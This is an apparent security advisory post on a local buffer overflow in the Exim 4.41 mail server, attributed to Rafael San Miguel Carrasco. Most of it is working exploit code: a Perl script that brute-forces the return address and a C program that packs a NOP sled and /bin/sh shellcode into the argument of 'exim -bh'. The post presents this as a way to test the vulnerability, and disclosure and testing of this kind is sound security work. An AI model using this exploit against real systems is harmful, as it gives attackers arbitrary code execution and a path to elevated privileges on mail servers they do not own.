[EXPL] Exim dns_buld_reverse() Exploit

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  Exim dns_buld_reverse() Exploit
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SUMMARY

 <http://www.exim.org/> Exim is "a mail transfer agent (MTA) for UNIX 
systems similar to Sendmail". Local exploitation of a buffer overflow 
vulnerability in Exim 4.41 allows execution of arbitrary commands with 
elevated privileges. The following exploit code can be used to test the 
vulnerability.

DETAILS

Exploit:
Note that setuid () is not included in the shellcode to avoid 
script-kidding. My RET is 0xbffffae4, but fb.pl can brute-force it for 
you.

fb.pl
#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
    $hex = sprintf ("0x%x", $cnt);
    $res = system ("./exploit $hex");
    printf "$hex : $res\n";
    $cnt += 4;
}

exploit.c
#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";

    char buffer [TAMBUF + 1];
    char cadena [TAMBUF + 5];
    int cont;
    unsigned long ret = strtoul (argv[1], NULL, 16);

    for (cont = 0; cont < TAMBUF / 4; cont++)
            *( (long *) buffer + cont) = ret;

    for (cont = 0; cont < strlen (shellcode); cont++)
            buffer [cont + INIC_SH] = shellcode [cont];

    for (cont = 0; cont < INIC_SH; cont++)
            buffer [cont] = NOP;

    buffer [TAMBUF] = 0;
    printf ("RET = 0x%x\n", ret);
    strcpy (cadena, "::%A");
    strcat (cadena, buffer);
        execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:smcsoc@yahoo.es> Rafael San 
Miguel Carrasco.



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